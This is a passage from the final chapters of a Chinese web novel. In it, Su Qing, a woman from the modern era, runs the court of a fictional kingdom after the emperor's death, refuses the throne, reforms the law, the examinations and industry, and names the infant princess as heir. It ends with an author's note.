然后是刘贵人她爹趁机闹事,想把来历不明的“皇子”推上皇位。 太后甚至怀疑皇上是刘大人暗害的。 但御医说为心悸而死,并无证据,好像是说益气养神丸用的太晚,故而没用。 反正不管怎么样,刘大人趁机夺权,还伙同近卫军吴将军,以及孙公公等人一起逼宫。 还好太后写了密旨,给了苏清跟晏铮州两人。 他们一个控制住宫中侍卫,一个把近卫军降服。 解决这场难题。 否则朝中必然大乱。 现在能维持住,算是幸运的。 否则皇上的葬礼都不能办。 苏清特意请了周太傅担任葬礼主事,他主持大局,朝中果然没什么意见。 原本有些人对苏清有些微词,不明白为什么是她来掌权。 但铮王爷先表明这是自己未婚妻,自己在外领兵不能插手政务,她来帮太后处置刚刚好。 再者还有一个意想不到的人站出来。 那就是即将临盆的沁贵人。 沁贵人亲自向太后禀告,希望苏表姐能出入宫中,自己如今只信任表姐。 太后还沉浸在丧子的悲痛里,无暇顾及这些。 再则苏清人品不同,是个孝顺的好孩子。 跟铮王爷也两情相悦,还跟皇上说过。 现在又是沁贵人的表姐,自然信她。 沁贵人怀着她儿子的唯一孩子,是这个世界上最宝贵的人。 只要她高兴,其他什么事都不重要。 此刻已经没人再提刘贵人的孩子。 他们母子两人还能活着,就是靠苏清求情。 不过据说他们两个过的不算艰难,产妇婴儿该有的东西,他们全都有。 有太后准许,沁贵人作保,再加上王爷未婚妻身份。 苏清暂掌大权,是再合适不过的。 这让跟着苏清做事的户部官吏们傻眼。 尤其是郭高杰卫温韦两人。 本来只是在户部给苏大人打下手。 这下好了,直接在勤政殿翰林院内阁打下手。 不过以他们的能力,也确实能做得了这些事。 只是有一个人越过他们,跟在苏大人身边。 顾状元顾从斯。 刚开始大家还在想,这不是苏大人前未婚夫。 这样不尴尬吗? 甚至有人报给铮王爷,但铮王爷偶尔回来一趟,对此并无意见。 可见是他们心脏,所以看什么都脏? 不管怎么样,周太傅跟太后,以及礼部众人负责先皇丧事。 其他各部倒是陷入诡异的平静。 除了按照要求参加祭拜活动,其他事情,似乎没什么变化? 也不对,还是有变化的。 之前那些阿谀奉承上位的进士全都被冷落。 参与刘大人逼宫的人也都关到牢里。 苏大人提拔不少有真才实学的。 不拘年纪,不拘官职。 年轻的官员她提拔,年迈的,中年的,她都提拔。 这些人本以为自己仕途无望,突然被调上来顶缺,只会更加尽心尽力。 陶阁老等老臣子,也多了些优待。 至少这些六七十的老头去勤政殿议事,不用再站着了。 等到皇上二七祭礼时。 朝廷风气焕然一新。 三七下葬时,朝野上下风平浪静。 死了个皇帝而已。 又有什么稀奇的。 他跟天底下百姓没什么区别,死了就死了,其他人还是照常吃饭照常睡觉。 唯一真心哭泣的,只有他的母亲,一直被他排挤的母亲。 苏清跟晏铮州站在皇陵前,看着愈发苍老的太后,低声道:“别难过。” 晏铮州想说,他不为皇上离开难过。 他知道,迟早会有这么一天。 “指的不是他。” 指的不是皇帝。 是太后。 不要为这种偏爱难过。 反正人都死了。 晏铮州沉默,开口道:“我为别的事难过。” 晏铮州看了眼后面的顾从斯:“他怎么还在你身边。” 苏清无语。 另一边大着肚子的柳沁,被人搀扶着跪拜。 她跟刘贵人孕期,先后只差了一个月左右。 今日四月二十八,御医都说,就这两天的事了。 但太后执意让她参加下葬仪式。 柳沁头上冒着虚汗,不好露怯。 苏清上去扶住她,柳沁道了句谢,艰难完成仪式。 等到下午回宫。 柳沁便发动,整个人疼的死去活来。 宫里御医产婆全都备好。 原本过度劳累悲伤的太后竭力起身。 苏清都震惊了,赶紧吩咐人把软塌收拾出来,让太后半躺着等:“女医说还要等一会,您先歇歇。” 太后见这里安排妥当,这才放心。 半躺着的她死死盯着屋内,听着沁贵人撕心裂肺的声音,只想知道这一胎是男孩还是女孩。 一定要是皇子。 否则她儿无后了。 四月二十八深夜。 啼哭声传来。 “是个公主。” “恭喜太后娘娘,沁贵人诞下一位公主。” 本就强撑着的太后眼前一黑。 怎么是个女的。 为什么生个公主。 苏清无奈,请刚松口气的御医过来诊脉。 宫内瞬间乱成一锅粥。 消息传到宫外,各家面面相觑。 该说什么好啊。 皇上没了。 大儿子不是他的。 沁贵人的孩子应该是他的,但却是个公主。 这怎么办? 要么拥立一个没有皇家血脉的“大皇子”。 要么看着小公主长大,这也不合适啊。 倒是皇亲国戚等人兴奋不已,已经盘算着谁家孩子年纪合适,可以继承过去。 突然有人道:“铮王爷还在呢,难道能越过他?” 众人沉默。 而且他未婚妻苏清把持朝局,这一个月以来,朝中大部分人都唯命是从。 若晏铮州登基。 多数人都会同意。 甚至不少人越想越觉得可行。 虽然不知铮王爷政务水平,但有苏大人在,也错不到哪去。 到时候一个管政务,一个去打仗,岂不是两全其美? 这么一想,反而比扶持一个婴儿好多了?! 以苏清的野心,让她以皇后之名掌权,她必然乐意。 到时候,不管她想做什么都很方便。 这条流言起来。 后宫也好,朝堂也好,明显更听苏清的话。 尤其是女子乡试一事。 各地都送来奏章,说他们这里也想开女子乡试,可惜没有女秀才。 但请苏大人放心,明年本地童试,一定会招女子考试。 广乐府山阳府皋青州喜笑颜开。 他们这三个地方都有女秀才,所以今年乡试,肯定有女子的! 都不用苏清推进,下面各地便忙碌起来。 想来等到明年,各地女子童试便会蜂拥而起。 就连一些观望的人家,都会起这个心思。 苏清听到郭高杰说这话,并未十分开心,反而脸色有些凝重。 苏清问顾从斯:“你是什么时候见到先皇的。” 永晟三年二三月份。 顾从斯答。 “他那时候是什么样的人。” 郭高杰那时候还没见过陛下,自是不知道,他也有点好奇。 进到勤政殿内周太傅,陶阁老等人听到这个问题,皆有些沉默。 以他们的年纪,可以说是看着先皇长大的。 先皇从一开始便刚愎自用,极爱面子,只听阿谀奉承的吗? 自然不是。 最开始时,他还能为弟弟晏铮州争取来不少物资。 他的性格,也是一点点变化的。 苏清看着各地的揣摩上意的文章,很难不警醒。 她还没说什么呢,各地就顺着她的想法,赶紧举办女学,要推动女子科举。 但凡是个人,被这么多吹捧,被这么多人顺着。 只要有个念头,便有人赴汤蹈火去办。 短时间还好。 时间一长,很难保持本心。 倒不是说这些人做的事不对,而是太对了。 久而久之,必然沉溺。 怪不得很多皇帝晚年的时候容易昏庸无道。 苏清道:“以后这种阿谀奏章,全都打回去,有事说事。” “所有拍马屁的颂圣文,一律发回原地。” 周太傅眼中带了欣赏。 陶阁老有点恍惚。 今夕是何年,他怎么在苏清身上,看到先皇祖父的身影。 若她以皇后之尊,掌握朝堂,对顺昌国来说必然是幸事。 苏清发现她这些话,倒是让朝廷不少臣子更加认定,她就是适合做皇后掌权的人。 那自己是皇后,谁是皇上? 晚上晏铮州来时,苏清看了看他。 想来他也听到沸沸扬扬的传言。 时至今日,两人也该讨论讨论接下来要怎么做了。 先皇已经下葬。 太后听到沁贵人诞下公主后,便缠绵病榻。 柳沁也是不管这些的,她有女儿便已知足,那个侍卫守在左右,别无他想。 满朝文武觉得他们两个应该当皇帝皇后。 就连皇亲国戚都没什么意见。 似乎皇位对他们来说,已然唾手可得。 苏清想到那些奏章,想到很多事,她主动问晏铮州:“你想当皇帝吗。” 岂料,晏铮州反问:“你想当吗。” 他们两个深知。 即使登基。 掌握实权的,也是苏清,唯有苏清。 人人要挣的皇位就在眼前。 苏清要坐上吗。 勤政殿内空荡荡的龙椅就在中间。 苏清在此地办公,从未多看。 今日女子科举之事,朝野内外的传言,让她不得不看过去。 要当吗。 这不是晏铮州需要考虑的问题。 是她苏清的抉择。 苏清自己都笑了。 这好像是个不用思考的问题。 如今一切形式,都在把她推向那个位置。 可她这么做的话,岂不是成了另一个先皇。 如果是这样的话。 她做这一切的目的,就变得可笑起来。 苏清翻开自己写的一份计划。 五年内,恢复民生,休养生息。 让民有所居,居有所安。 这一晚。 苏清又梦到自己的姥姥。 姥姥穿着朴素,说着今天治了多少病人,说新社会新时代更好。 等苏清醒来,眼神变得愈发坚定。 她有自己的答案。 至少现在,她要扶持沁贵人的女儿,那个昨天出生的婴儿当“继承人”。 至于孩子长大如何,就看她长成什么样了。 反正这个封建皇帝,她是不会当的。 一个皇帝死了,并不是终点。 赶紧发展民生才更重要。 马上五月份。 有些地方,快要收第一茬麦子了。 哪有什么功夫管你什么皇帝不皇帝的。 统统给我收麦子去! 第91章【VIP】 第91章 永晟八年五月。 苏清先是借着各地夏收秋收,清查各地账目。 还给了犯人戴罪立功的机会,若能查出账目问题,就能罪责减轻。 同时晏铮州也被派出去,先清理京城一带匪贼。 再让连老将军负责各地守备军将士物资盘点。 都说新朝新政。 如今虽不是新朝,但朝廷不少人都默认苏清跟铮王爷之间的关系,更默认苏清是未来掌权的皇后。 所以她在勤政殿发号施令,众人无不奉命行事。 除此之外,皋青州的文瑞,汪鹤,费开宇,以及广乐府崔刚捷等人,被任命为钦差大臣。 负责巡视各省,一则查处土地兼并,二则揪出贪官污吏。 期间种种艰难自不必说。 但他们去到地方,便有当地守备军协助。 若守备军也不听调,便是晏铮州带兵清缴,广乐府的十六万守备军被分散到各地。 这些都是苏清的心腹,多数将士出身广乐府,自然只听苏清命令,就连晏铮州都要往后排。 既有忠烈文臣,又有忠心将士。 这些钦差可谓无往不利。 再说,天底下谁人不知苏清的名声。 她既然要这么做,便无可挽回。 反正天下间的土豪乡绅,全都丧如考妣。 为什么争来斗去,是苏清上位啊。 就不能换成别人? 铮王爷登基的话,应该是他掌权吧? 但他现在一个劲在外面打仗是什么意思。 不管怎么样,反正京城局势稳住了。 没有因为皇帝突然薨逝造成什么影响。 外面却兴起血雨腥风。 一个个地方被清扫,期间也涉及京城官员的利益。 苏清跟地方上配合,不给他们反抗的机会。 不少地方堪称血流成河。 尤其是文瑞文大人去过的地方。 还有人说,他的风格跟传闻中大泽军有些像,按照他的话讲:“这些世族乡绅,挨个砍头都不算错杀。” 这话一出,想要杀他的人自不在少数。 苏清只能再给他加派人手,依旧从广乐府调出,勉强保住他的性命。 再把朝中里应外合的文官连夜抄家,总算把他们按住。 这场堪称杀戮的清算,一直持续到当年九月份。 清查隐田无数,抓捕贪官污吏无数。 跟苏清在京城的“温和”做派完全不同。 但让人惊喜的是,因为隐田以及一部分乡绅被解决。 今年收上来的税款明显增加。 从去年的三百一十万两,增加四百二十万两。 虽说还不算很多,但各地民生陆陆续续恢复。 加上“肆无忌惮”的文瑞还在猛查贪官污吏,竟然从各地犯官家中,搜出近八百万两赃款。 苏清对这个数字并不意外。 顺昌国这样大,土地如此多。 按理说不管种地的百姓,还是国家税收都应该能维持住。 既然百姓穷,国库也穷。 那谁富了? 还不是中间的贪官跟乡绅世家。 他们就是国家的蛀虫。 赃款送到京城,朝会上满场哗然。 而这些钱,苏清既不准备听太后的,继续帮先皇修缮陵墓,也不打算建宫殿。 给今年几处有灾情的地方发放赈灾粮,再给各地整编完毕的守备军发粮饷。 工部见此,识相地不提宫殿陵墓这种事,顺顺当当提拔起会水利的官员。 这么大的国家,不可能没有人才,也不能发现不了人才。 之前不提拔,只是不需要罢了。 一直到永晟八年年底,除了必要的堤坝修建之外,再无其他劳民之事。 朝廷能做的,就是尽量惩治官员,约束土豪乡绅,严查土地兼并。 把土地还给百姓,一切都会好起来的。 不过也有着急的人。 就是沿海一带的市舶司。 尤其是海万州的官员,他们守着建好的蒸汽船不能动。 苏大人倒是有文书送来,让他们多做实验,找出弊端。 对此她也实话实说:“之前造的太过仓促,尚不能证明安全性,先在近海实验。” 这一实验,就到年底了。 苏清翻看四月到十二月的航行数据,确定无误后,才允许继续造新船。 中间确实出过很多问题,若不是距离海岸比较近,还有往来船只帮忙,只怕整条船的人都要丧命。 一直到近两个月,故障跟问题才越来越少。 不出意外的话,明年就能正式通航。 海万州肯定是头一个。 其他市舶司官吏也会在明年年初更换。 同时也会派出将士清缴匪贼。 就连泉州一带的富商也冷静下来,新派过去的泉州知州崔刚捷既整顿本地军备,同时敦促这些富商给死去的富商家丁家仆赔偿金。 当地市舶司不是好人。 这些富商诱骗贫家子冲在前面,再欺负孤儿寡母,同样不是什么好东西。 一番大刀阔斧整治。 顺昌国内忧终于减轻一分。 剩下的,还要慢慢处理。 但对于朝廷来说,就有点不同了。 四月底先皇去世。 至今已经近八个月了。 国不可一日无君啊。 等会,现在看起来,有没有也差不多。 反正顺昌国正常运转。 朝臣们议论,后宫的太后同样觉得奇怪。 在太后看来。 小儿子登基是板上钉钉事。 之前不提,只当他对兄长敬重。 但一直不提是怎么回事。 再者,让苏清一直掌权不是回事。 还是晏铮州回来的好。 他一直在外面打仗,哪有皇帝的样子。 被太后召见的时候,苏清只觉得,太后身体刚好,就又有新主意了。 但苏清一句话,就让太后的偃旗息鼓。 “太后娘娘,明年各地女子童试就要开始,您贵为太后为天下女子表率,不若做这女子童试的主考官。” 各地童试,都在自己地方举行。 这所谓的主考官自然是名义上的。 由她写诏书,颁政令,最好再写篇文章鼓励女子考生。 做这天下女考生的第一任主考官。 听苏清说完。 还有顾从斯郭高杰从旁边劝说,太后毫不意外地心动了。 虽说先皇去世,让太后身体每况愈下,但她掌权的心没变。 如此体面又能参与科举的事,她怎么会不同意。 太后一时脸上带了喜意:“这倒是好的,只是头一次办,难免生疏。” “以太后您的能力,肯定不会错的。” “国子监与礼部,也会听您的调遣。” 太后十分满意。 倒是不提晏铮州的事了。 苏清趁此,提起另一件事。 今年乡试,明年便是会试,她想动一动会试考题。 既重策论,也重律法,再添物理数学农学备选。 明年的会试考题,就在这两者之中。 策论好说。 重律法? 刑部尚书率先出现疑虑。 苏清直接道:“重拾律法。” 要说每朝每代都有律法,尤其到顺昌国,已经初步完善。 但能不能严格执行是个问题。 苏清的意思,便是重视律法,完善律法。 相对人治,她自然更信法治。 民间休养生息。 朝廷完善律法,规范皇权。 虽不知能做到什么地步。 但她会尽力去做。 最后的物理数学农学备选,更像是附加题。 能做的做,做不成的就算了。 但会不会重用做得好的考生? 自是会的。 科举最高的会试,都出这样的考题。 其实就是风向标。 告诉天下间的学子。 别在只读四书五经了,重拾诸子百家的时间到了。 尤其是列入试题的几门学科,全都极为重要。 他们顺昌国不仅需要文学家,还需要工程师科学家农学家。 苏清一直相信,偌大的顺昌国定然有这些人才。 只是科举不考,大家自然而然成为隐学。 这些隐学也是隐患。 推展这些改革,苏清跟朝臣们也吵得厉害。 闲暇之余,还要处理后宫的请求。 已经被判流放的刘大人一族,想再见见自己女儿。 主要是刘夫人想见女儿。 还有那个绿了先皇的进士家里,也想看看家中唯一的孙儿。 这奏章是不是有点冒昧了。 不过他们也算知道苏清的性格。 还真让刘家夫妇,跟那进士的爹娘进宫。 这两对夫妇见面的时候,脸上都不算好看。 因为后者也参与逼宫,同样要被流放。 为什么逼宫? 自然是唯一的儿子被先皇杀了,想着鱼死网破。 没想到,大家都没有鱼死网破,只是让他们流放。 不仅如此,刘家女儿,还有私通生下的孩子也被保住。 这对他们两家来说,便是莫大安慰。 尤其是后者。 “走吧,刘贵人如今换了住处。” 听说换了个僻静的小住处。 他们已经做好自己女儿跟孙儿忍饥挨饿的场景。 但真到地方,只见是个四四方方的小院子,里面三间房,再带一个厨房。 刘贵人跟她陪嫁来的两个丫鬟都在。 三个人衣着朴素不少,但气色尚可。 屋子里也有炭火,已经七个月的孩子看着也粉嫩嫩的,衣着不算太差。 刘贵人经了那遭变故,整个人稳重许多,她手腕上还带着一串佛珠。 “等孩子断奶后,我会日日茹素。”刘贵人道,“我会为钟贵人未降世的孩子祈福。” 皇帝死了,刘家人被囚禁。 这些事刘贵人是半个月后才知道的。 即使如此,她也因产后虚弱差点血崩,还是沁贵人找来御医认真调养。 得知全家无事,刘贵人才恢复些气力,开始认真带自己的孩子。 随着家人被流放的消息传来,她彻底松口气。 本是必死是事,如今能活着就是好的。 至于自己跟孩子,肯定必死无疑。 结果大家都知道,苏清跟沁贵人只是让她们搬到小院,衣食并不短缺。 随着孩子一日日长大,刘贵人心里反而愈发惶恐。 尤其是孩子越可爱,她就对钟贵人滑胎的孩子越愧疚,经常梦到那个应该也很可爱的孩子。 历经生死,又有这么可爱的孩子,人很难没有改变。 刘夫人心疼女儿,哭的不行:“钟贵人虽是宫妃,却没有子嗣,跟后宫其他嫔妃一样,已经被家人接回了。” 说到这,刘夫人顿了下:“就嫁给她表哥。” 刘贵人都啊了一声。 那个跟她私通的表哥? 也是告发他们全家的表哥。 众人心中一时间五味杂陈。 进士爹娘则小心翼翼抱起孙儿,可惜他们已经没有家当,连个值钱的物件都不能留给他。 以后有没有见面的机会也不好说。 好在只要苏清掌权,就还有希望。 冲着这份希望,他们在流放之地,也会好好立功的。 刘贵人想了想,取来纸笔:“写封信吧,等孩子长大会识字了,我会给他看。” 金银倒是虚的,让孩子知道,他不仅有自己这个母亲,也算盼头。 原本家财万贯的两家人,一家留了一封书信。 或许有一日,他们还能再见。 刘贵人看着他们的背影,手里攥紧佛珠,眼前又闪过那个婴儿的影子。 她这辈子都会在深宫中为那个孩子祈福。 以前的钟贵人现在的钟小姐,已经不太在意这些事了。 孩子没了固然难过,但她跟表哥还能再生啊。 钟家喜事近了。 但梅娘的喜事却远了。 苏清接到弟弟苏澄的信件,下意识站起来。 苏澄今年十二,已经明白些道理。 这件事他一直不知道该不该说。 但眼看王学政跟梅娘避而不见,他难免着急。 此处说的王学政,正是广乐府学政王逸明,跟梅娘年纪差不多。 两人在南江县相识,彼此都有好感。 算起来,也有两三年时间。 苏清虽然离得远,但一直知道他们相处不错。 她跟弟弟也觉得王学政生的不错,人也正直,颇有些他们已故父亲的风范。 故而都是鼓励态度。 到今年年初时,梅娘跟王学政来往频繁,就差提亲说媒。 可今年发生什么,大家都知道。 苏清从礼部官员,直升到如今勤政殿掌事,管着文武百官。 王学政就有点懵了。 梅娘也傻眼了。 他们都不想拖累苏清,让母亲再嫁成为攻击她的武器。 两人心如刀割,却彼此默契。 尤其是梅娘,在未来夫婿跟女儿的前程之间。 让她选一千次一万次,她都选女儿啊。 这还用考虑吗? 反而是苏澄看的明白。 他姐在意这些事吗?! 他姐在乎吗?! 故而有了苏澄这封信,并道:“姐,王学政回京述职了。” 其中意思,不言而喻。 王学政在广乐府三年任期已满。 这次述职肯定要换地方。 苏清眼前一黑。 就古代这交通条件,换地方之后,两人更没机会了啊。 等王学政被特意召见时,只见勤政殿内另摆了一张桌子。 主位上的桌子弃而不用,新设的桌案正是苏大人的。 两人见面,都有点尴尬,苏清也是头一次处理这种事。 还是齐内官先开口:“都不是外人,直接说吧。” 齐内官说完,还贴心出去看着。 今年要告老的梁公公都要等一等。 勤政殿内。 两个聪明人其实不用说太多。 苏清直接道:“如果因为担心我,大可不必,更难的指责都有,不差这一个。” “只要母亲高兴,我是没意见的。” 王学政尴尬,苏清继续道:“如果是因为你的名声,那我无话可说。” 之前那种情况,两家也算合适。 苏清算得上一步登天,现在结亲,便会有人说王学政攀炎附势。 王学政叹口气。 他确实担心这个,不过他问了句:“苏大人跟铮王爷不登位,是为了名声吗。” 他问的直白,却不带恶意。 也是多数人的疑问。 先皇去世已经八个月了。 他们两人没有一点登基的意思。 明明皇位就在眼前,宁可闲置也不登位。 是为了三辞三让吗? 如果是这样的话,那已经够了。 不管朝臣如何想,乡绅世家如何恨他们,民间跟官员们,都知道他们是大大的忠臣清官。 越是这样,王学政跟梅娘越不想破坏他们的名声跟气节。 岂料苏清忍不住笑了,边笑边摇头:“怎么可能。” “我怎么可能为了名声不要权力。” 说着,苏清看了看废弃不用的位置:“只是我登上这位置,就对不起我自己。” 对不起上辈子生长的环境,也对不起她的姥姥。 即使来这个世界已经八年时间。 但她不会忘了自己的生长环境,也不会忘了新旧时代的不同。 “我不是为了名声,只是不想循环往复的进入循环。” 王学政不明白她的意思。 但他知道,拒绝人人向往的权力地位,是极为难得的真正气节。 更像诗里写的:“亦余心之所善兮,虽九死犹未悔。” 苏清听他拿离骚里的话夸自己,赶紧摇头。 不至于不至于。 苏清道:“放心吧,你们成亲不会影响我,反而会鼓励很多人。” “该把你们儒家禁锢妇女的想法改改了。” 王学政老脸一红,好在是个中年帅哥,否则只会显得滑稽。 王学政想了想道:“那我能不能去通民府任职,你娘也准备回老家看完爹娘公婆。” “到时候在那完婚,你娘肯定高兴。” 好好好,有些人看着要离开,其实在哪办婚礼都想好了。 苏清点头:“这个简单,通民府应该有合适的职位。” 全国各地的官吏都在变动。 能者上庸者下。 以王学政在广乐府的政绩,今年应该调到京城的,去通民府只算平调了。 梅娘跟了苏溪,还有苏三婶母子,朱婶娘她们确实早就想回通民府了。 即使不想念故土,也想念亲人。 以前不算安全,也还被人挟持,给苏清添麻烦。 现在一切稳定下来,她们也能回乡探亲。 送走王学政,也就是自己未来继父。 再送走告老的梁公公,梁公公到了年纪,在京城也有宅院,算是体面退休。 他只是感慨,苏清怎么就坐在最高位了呢。 不过还好是她,否则大家日子不会这么轻松。 众人离开,苏清想了想,给晏铮州写信。 回来吧,别剿匪了。 搞得我不让你回家一样,这合理吗。 至少回家过个年,年后再继续打! 第92章【完结】 第92章 永晟八年过完,甚至铮王爷都回京了。 还是没人提立储的事。 本以为要到永晟九年开年再说。 谁料不管过年还是元宵,苏大人跟铮王爷,乃至太后都没折腾大家。 只说安心过年。 一直到上朝了。 就见铮王爷又去平定匪乱了。 顺昌国这些年的情况大家都知道。 各地匪贼极多,去年也只剿灭四分之一而已。 其他还有贼人的地方,百姓正期盼战神将军过去呢。 晏铮州所到之地,还能配合当地衙门,以及巡视过去官员治理地方乡绅。 减税减租都是常有的。 故而这种事情,大家也不好阻拦。 已经成为阁老的周太傅没怎么说话。 陶阁老有些着急。 国不能一日无君啊! 这怎么能行?! 周太傅安慰:“顺昌国不是好好的吗,而且越来越好了。” 爱徒顾从斯也道:“时间不等人,若再不解决这些内忧,外患就要来了。” 中原王朝虚弱的时候,就是周围虎视眈眈的时刻。 多番劝阻下,总算把大家的念头按下去。 苏清懒得多问,直接给陶阁老安排差事。 今年会试的主考官,便交给这位大人了。 以陶阁老的本事,肯定能找到真才实学的进士。 结果也是这般。 而且在附加题里,也选出不错的人才。 今年二百多新科进士,被苏清先安排到各部门实习,然后再送到州县历练。 若无州县的任职履历,以后升迁会越来越难。 与此同时。 海万州的第一支蒸汽船队正式出发。 其实往远洋进发,很多人还是不敢的。 叶山鸣依旧打头阵。 他要带着船队去往更远的地方进行交易,这次共有三艘蒸汽船,彼此可以互相照应。 他们出发没多久。 晏铮州便出现在其他市舶司,既是清除匪患,也是跟派过去的费开宇等人配合。 美中不足的是,现在还有没有钱发展海上舰队。 但只有市舶司在,对商船有所掌控,就能随时征调船只,预防海盗。 而今年的春耕夏收秋收更为喜人。 顺昌国似乎以一种非同寻常的方式慢慢恢复生机。 各地田地农户有所增加,流民匪贼逐渐减少。 刑部礼部翰林院也在加紧修律法。 一直到永晟九年年末。 期间铮王爷打胜仗回来过几次,可自己又匆匆请辞,还有其他军务要整。 搞得陶阁老跟各部尚书很无奈。 但等着等着,大家都习惯了?! 接下来一年里更是如此。 随着小公主一天天长大,太后倒是年迈不少,跟大儿子唯一的女儿相处不错。 沁贵人知道其中秘密,自然小心隐瞒,对太后愈发孝顺。 苏清默默观察这个小公主,不过年纪太小,还看不出什么。 可就在陶阁老致仕又被请回来这一年,也就是永晟十年春,他实在忍不住了。 到底是谁登基,总要给个说法吧。 虽然说随着律法修缮,把权力集中翰林院,六部,三司,以及实际首辅苏清身上。 没有皇帝,朝廷可以照常运转。 但总不可能没有皇帝吧。 铮王爷在外打仗,而且对皇位向来没想法。 苏清就没想法吗? 甚至她还不是首辅,至少名义上不是,她愿意吗? 不仅陶阁老在问,朝中不少大臣都在问。 这些年顺昌国局势逐渐平稳,但一直没有皇上,也不是回事啊。 一直追问到海船都回来了,带来大量珍稀木料珠宝,才把注意力转移。 作为首次出海的船主叶山鸣,被特招来见苏大人。 巧的是,晏铮州正好也这个时候回来,沿海一带匪贼难灭,花了一年时间,才把水军训练好。 这会正好回来休息。 看着货物清单,其实文武百官有些失望。 外面有的东西,他们都有啊,没什么特别稀缺的。 好在顺昌国一点货物,就能换来极多原料,也是好事。 有了这个开始后,各地船运正式开启。 苏清趁机发布政令。 若能带回顺昌国没有的动植物,必有重赏。 苏大人向来一言九鼎,大家都是信她的。 这些年她还让人培育良种,看来很重视这方面,他们肯定会好好找的。 等这场热闹过了。 陶阁老依旧锲而不舍。 也有人怀疑,是不是苏清想登上皇位? 是不是她有意当女皇? 但看如今的律法,皇上手里的权力被削减很多。 就算先皇复活,都不能肆无忌惮发号施令。 本来皇亲国戚是反对的。 可作为铮王爷未婚妻,未来必然掌权的夫妇两个,主动削弱自己的控制力,他们还有什么好说的。 接下来,苏清甚至对各个官职加以约束。 大家各司其职,没有人谁能一言堂,包括她自己。 连番改动下,倒是提高了官府的办事效率。 毕竟每年年底,都要看他们办了多少差事,完成多少任务,以及底下百姓衣食住行都在考核范围内。 完全是能者上庸者下。 越是这样,大家越想让苏清登基。 是的,苏清登基。 她俨然是整个顺昌国的无冕之王。 无论谁来,都比不过她在百姓能臣心中的地位。 陶阁老看来看去,只能在周太傅的建议下,推举苏清为真正的首辅。 而苏清,也确实坐得了这个位子。 永晟十年,二十五岁的苏清,已然是顺昌国名副其实第一人。 等到永晟十一年。 已经三岁了的小公主乖巧可爱,她相貌随母亲。 柳沁跟苏清的相似自不用说,不少人看到小公主,只觉得两人眉眼间竟一模一样。 苏清直接告诉朝臣:“先皇唯一继承人就是小公主,等公主长大,并且学业合格,就能继位。” 啊??? 谁?! 太后都傻眼了。 她已经做好小儿子登基的准备。 反正儿子登基,苏清掌权就行。 现在跟她说,让她最疼爱大儿子的唯一孩子登基? 苏清果然是好儿媳啊。 至于是女子? 自永晟九年女子秀才大量出现。 到如今永晟十一年,都要有大量女举人做官了。 这有什么好介意的。 而且苏清如今的地位,想立谁就立谁。 果然,朝中确实有不少反对声音。 但在顺昌国的大改革下,什么都能压下去。 广乐府一带,已然有蒸汽工厂。 通民府的蒸汽工厂也在路上。 大批量从海外带来的矿场,让沿海一带也开始建设工厂。 即使是顺昌国的普通人,也能感受到改变前的风雨欲来。 首辅苏清趁这个时候,收拾不少根基极深的老顽固,彻底扫平改革助力。 永晟十二年年底。 机器生产的各色物件,逐渐上市。 不少人看着机器制成的布,以及烧制更好的瓷器。 还有各色初级工业品。 只觉得神奇。 而吃饭问题,更得到解决。 首辅苏苏清大力扶持的农学培育出新稻谷新麦种。 今年推广出去,收获极高。 因为蒸汽工厂越来越多,农具价格越来越便宜,越来越多,也为粮食增产提供帮助。 估计等明年初级化肥的上市,更会带来一大波提升。 税改之后,田地税收本来就低,粮食还增加,饿死人的事,已经很少发生了。 在顾从斯看来,苏清已然完成她的承诺。 只是看起来,她好像还不满意? 苏清正好接到叶山鸣的信件。 他似乎找到苏清要的农作物了。 还有平定国内匪患的晏铮州,也鸣金收兵。 这些年的仗越打越顺。 既是各地匪贼都怕他战神的名号,更知道他背后有源源不断的后勤,甚至新式武器。 有这些东西在,他们怎么可能是对手,还不如收拾收拾进厂啊。 永晟十二年的顺昌国。 终于有了国泰民安的迹象。 女官苏清再次梦到自己姥姥,梦到另一个世界。 希望所有时空的百姓,都能国泰民安,安居乐业。 正文完—— 作者有话说:正文完结啦 不出意外的话,会有几章后世评价跟论坛体!感谢大家陪伴